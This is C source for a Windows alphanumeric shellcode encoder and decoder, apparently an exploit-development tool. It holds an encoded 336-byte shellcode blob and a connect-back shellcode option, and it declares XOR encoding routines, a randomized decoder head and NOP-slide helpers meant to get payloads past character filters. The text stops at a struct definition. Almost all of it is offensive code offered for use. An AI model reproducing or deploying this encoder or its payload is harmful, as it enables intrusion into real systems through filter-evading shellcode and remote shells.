Shellcode Encoder Decoder AN

#include <time.h>
#include <stdio.h>
#include <windows.h>

#define MAX_BYTES                            0x100
#define MAX_ENCODED_SHELLCODE                2000 //this will be allocated on the stack
#define MIN_IP_STR_LEN                       7
#define MAX_IP_STR_LEN                       15

#define OFFSET_XOR_AL1_A                     15
#define OFFSET_XOR_AL1_B                     18
#define OFFSET_XOR_AL2_A                     37
#define OFFSET_XOR_AL2_B                     40
#define OFFSET_PUSH_DWORD1                   0
#define OFFSET_PUSH_DWORD2                   1
#define OFFSET_PUSH_DWORD3                   4
#define OFFSET_PUSH_DWORD4                   12
#define OFFSET_RANDOMIZED_DECODER_HEAD       14
#define SIZE_RANDOMIZED_DECODER_HEAD         16
BYTE EncodedShellcode[] = // encoded 336 bytes
        "PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO"
        "wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt"
        "Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH"
        "HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq"
        "4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL"
        "mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0"
        "9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px"
        "11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc"
        "CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v"
        "RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD"
        "kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk"
        "1telLPYuGyNvX1TyJ3yLdOwckr";

// example: make encoder choose more uppercase bytes...
#define ADDITIONAL_CHARSET                   "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

#define ALNUM_CHARSET    ADDITIONAL_CHARSET  "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- allowed charset
                                                                                                              //      feel free to
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change - YMMV
#define REGISTER_WITH_ADDRESS_OF_SHELLCODE   esp // <--- change this to the register holding the address of the decoder////////////
#define _Q(str) #str
#define Q(str) _Q(str)
#define P(str) #str ##" // <--- buffer offset\n"## _Q(str)
///////////////////////////////////
#define CONNECT_BACK_SHELLCODE   //
//#undef  CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your own - and place it in shellcode[] >-----------------.
                                 ///////////////////////////////////////////////////////////////////                               |
int main();                                                                                       //                               |
UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length); //                               |
UCHAR get_push_register_instruction(UCHAR *reg);                                                  //                               |
UCHAR get_random_alnum_value();                                                                   //                               |
UCHAR get_random_alnum_push_dword_opcode();                                                       //                               |
UCHAR *get_nop_slide(UINT size, UINT slide);                                                      ///////                          |
UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);//                          |
UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);   //                          |
UCHAR *shuffle(UCHAR str[], UINT length);                                                         ///////                          |
DWORD my_htonl(DWORD dw_in);                                                                      //                               |
DWORD ip_str_to_dw(UCHAR *str);                                                                   //                               |
BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key);                       //                               |
BOOL is_alnum(UCHAR c);                                                                           //                               |
BOOL str_is_alnum(UCHAR *str);                                                                    //                               |
UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index);                  //                               |
UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1);  //                               |
struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c);                            //                               |
struct xor2_key *choose_random_node(struct xor2_key *head);                                       //                               |
void free_p_xor2_key(struct xor2_key *node);                                                      //                               |
                                                                                                  //                               |
struct xor2_key {                                                                                 //                               |
    UCHAR xor2;                                                                                   //                               |
    UCHAR key;                                                                                    //                               |
    struct xor2_key *prev;                                                                        //                               |
    struct xor2_key *next;                                                                        //                               |
} xor2_key;